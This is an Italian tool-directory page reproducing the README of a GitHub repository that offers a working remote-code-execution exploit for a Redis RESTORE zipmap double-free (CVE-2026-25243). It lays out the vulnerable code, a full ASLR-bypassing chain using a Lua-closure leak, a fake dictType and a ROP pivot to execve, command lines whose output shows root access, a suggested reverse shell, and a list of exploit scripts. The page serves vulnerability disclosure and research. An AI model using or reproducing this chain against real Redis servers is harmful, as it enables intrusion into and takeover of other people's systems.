Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-25243 — CVE-2026-25243 — Redis RESTORE zipmap double-free → esecuzione remota di codice (ASLR attivo). | Kitploit
Strumenti/GitHubGitHub/dinosn/cve-2026-25243
Memory ForensicsAnalisi delle VulnerabilitàExploitReverse EngineeringPenetration TestingStrumento di Accesso RemotoSviluppo PayloadBinary Exploitation
GitHubdinosn/cve-2026-25243

CVE-2026-25243

CVE-2026-25243 — Redis RESTORE zipmap double-free → esecuzione remota di codice (ASLR attivo).

Vedi Repository
13344 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-25243 — Redis RESTORE zipmap double-free → esecuzione remota di codice

TL;DR. Un payload DUMP malformato passato a RESTORE innesca una doppia free nell'heap nel loader legacy hash-zipmap di Redis. Con il jemalloc predefinito la doppia free è silenziosa (il server continua a funzionare), il che la trasforma in una primitiva type confusion controllabile. Questo repository la trasforma in esecuzione remota di codice con ASLR attivo — il worker Redis chiama system("<stringa dell'attaccante>") e continua a servire richieste. Non è un DoS.

# default Redis (DEBUG disabled), ASLR on — the most self-contained exploit (NO libc offsets):
$ python3 exploits/poc_rce_aslr_pie_rop.py --cmd "id > /tmp/pwned_pie 2>&1"
[*] self-cal: blob_base=0x7f352d800009 blob_robj=0x7f353286b8d8 pie_base=0x557ea9149000  (NO libc)
[*] fake dictType F=0x7f352e013c36  g1=0x557ea93cca87 execve=0x557ea91cee80
$ cat /tmp/pwned_pie
uid=0(root) gid=0(root) groups=0(root),...    # <- execve("/bin/sh","-c",<cmd>) as the redis process

La fuga di informazioni che sconfigge l'ASLR non usa DEBUG — legge l'indirizzo della C-closure Lua redis.call (EVAL 'return tostring(redis.call)'), la stessa tecnica autonoma e senza DEBUG del nostro precedente exploit Redis. blob_base/blob_robj e la base PIE vengono poi derivati in fase di runtime dall'over-read (nessun offset fisso). Il finale PIE-ROP chiama execve@plt tramite uno stack-pivot JOP, quindi usa zero indirizzi libc — le uniche costanti specifiche della build sono gli offset dei gadget relativi alla PIE letti dal binario redis-server, esattamente come la tabella gadget per-build del nostro precedente exploit HLL. Verificato uid=0(root), ASLR attivo, 8/8, su un server predefinito con DEBUG disabilitato.

Sono previsti due finali. poc_rce_aslr_pie_rop.py (sopra) è il più autonomo — nessuna libc, completamente auto-calibrato — ma execve sostituisce il worker (usa una reverse-shell con --cmd; ideale per una shell vera). poc_rce_aslr_selfcal.py mantiene vivo il worker (system() fa fork) al costo di due offset legati alla versione della libc. Scegli in base al fatto che il server debba sopravvivere.


Il bug

RESTORE key 0 <DUMP-payload> deserializza un oggetto serializzato. Per il tipo legacy RDB_TYPE_HASH_ZIPMAP (0x09), il validatore e il convertitore non concordano su quanti byte occupi un campo di lunghezza:

  • zipmapValidateIntegrity() scorre con la dimensione effettiva codificata (5 per il prefisso sovralungo 0xFE);
  • zipmapNext() durante la conversione zipmap → listpack usa 1 byte per qualsiasi lunghezza decodificata < 254.

Una lunghezza piccola scritta nella forma sovralunga di 5 byte supera la validazione ma fa sì che zipmapNext() avanzi in modo errato di 4 byte. Dallo stesso avanzamento errato derivano due conseguenze: un over-read nell'heap (zipmap.c) e, solo in Redis, una doppia free nell'heap nel loader hash-zipmap di rdb.c:

sds field = sdstrynewlen(fstr, flen);
if (!field || dictAdd(dupSearchDict, field, NULL) != DICT_OK || !lpSafeToAdd(lp, flen + vlen)) {
    dictRelease(dupSearchDict);   // (1) dictAdd took ownership of `field` -> freed here
    sdsfree(field);               // (2) freed AGAIN  -> double-free

Valkey protegge tutto ciò (if (!field_added) sdsfree(field)); Redis a monte non lo faceva, quindi la doppia free è solo Redis. Il fix rifiuta la lunghezza corta codificata in forma sovralunga e riordina i controlli al momento del caricamento.

La catena dell'exploit (Redis 8.6.2, x86-64, jemalloc, PIE/NX/partial-RELRO)

silent double-free  ->  type-confusion overlap  ->  arbitrary pointer-forge
   ->  forge a hashtable hash's  dict->type  to a fake dictType
   ->  HGET hd "<field>"   ==   dictFind -> type->hashFunction(field)
      libc path  (selfcal): hashFunction = &system            -> system("<cmd>")   (worker survives)
      PIE path   (pie_rop): hashFunction = JOP-pivot g1, field = ROP chain
                            -> leave;ret pivots rsp onto the field
                            -> execve("/bin/sh","-c","<cmd>")  via execve@plt        (no libc, no DEBUG)

Il dictType falso viene piazzato all'interno di una stringa da 16 MB (SETRANGE) nell'unico offset i cui byte bassi dell'indirizzo corrispondono all'header sds della stringa dell'attaccante. L'ASLR viene sconfitto interamente in fase di runtime:

  • system — una singola leak di un puntatore all'heap. Il percorso consigliato è senza DEBUG: l'indirizzo della C-closure Lua di redis.call (EVAL 'return tostring(redis.call)') — la stessa leak autonoma usata dal nostro precedente exploit Redis. Le arene jemalloc si trovano a un offset costante rispetto alla libc, quindi system = leaked_robj + Δlibc + system_off. (DEBUG OBJECT è solo una comodità da laboratorio quando scripting è disabilitato ma DEBUG è abilitato — la configurazione più rara.)
  • l'indirizzo del blob da 16 MB (una mmap randomizzata in modo indipendente) — letto con l'arbitrary-read del bug stesso: forgi il dict di una SET così che il suo membro sia una sds SDS_TYPE_32 da 107 KB, SMEMBERS fa over-read sull'heap adiacente, e robj.ptr del blob viene letto al suo offset noto.

Vedi WRITEUP.md per l'analisi completa primitiva-per-primitiva e i dettagli jemalloc / Redis-8.x conquistati a fatica (limite della classe 64, tagging delle entry del dict, mstr dei campi hash, pre-crescita del keyspace).

Laboratorio

docker build -t cve-2026-25243 .
# stock (jemalloc) demo — DoS-or-not? shows the type confusion (no tooling):
docker run --rm -p 6379:6379 cve-2026-25243

# full chain — DEFAULT config (DEBUG disabled), the recommended exploit:
sysctl -w kernel.randomize_va_space=2            # ASLR ON
redis-server &                                   # DEBUG is off by default
python3 exploits/poc_rce_aslr_selfcal.py --host 127.0.0.1 --port 6379 --cmd "id > /tmp/pwned 2>&1"
filecosa dimostra
★ exploits/poc_rce_aslr_pie_rop.pyil più autonomo — RCE su un Redis predefinito (DEBUG disattivato), NESSUN offset libc; auto-calibra blob_base/blob_robj/pie_base; execve@plt tramite JOP pivot (il worker viene sostituito). 8/8.
★ exploits/poc_rce_aslr_selfcal.pysopravvivenza del worker — stessa catena ma hashFunction=&system (fork); costa due offset legati alla versione della libc (DLIBC/SYSTEM_OFF). Leak della Lua-closure, auto-calibrazione di blob_base/blob_robj.
exploits/poc_rce_aslr_nodebug.pysenza DEBUG (leak Lua), ma con offset fissi (calibrati con DEBUG attivo)
exploits/poc_rce_aslr.pyvariante comoda per il laboratorio: leak di bootstrap con DEBUG OBJECT (richiede DEBUG abilitato)
exploits/poc_rce_aslr_off.pyRCE con ASLR disattivato (indirizzi calibrati)
exploits/poc_typeconfusion.pydoppia free → due chiavi condividono un buffer dell'heap (senza strumenti)
exploits/poc_doublefree.pyla doppia free (ASan: heap-use-after-free in sdsfree)
exploits/poc_dos_overread.pyil crash per over-read (ASan)

La fuga di informazioni che sconfigge l'ASLR (senza DEBUG)

Scarica lo strumento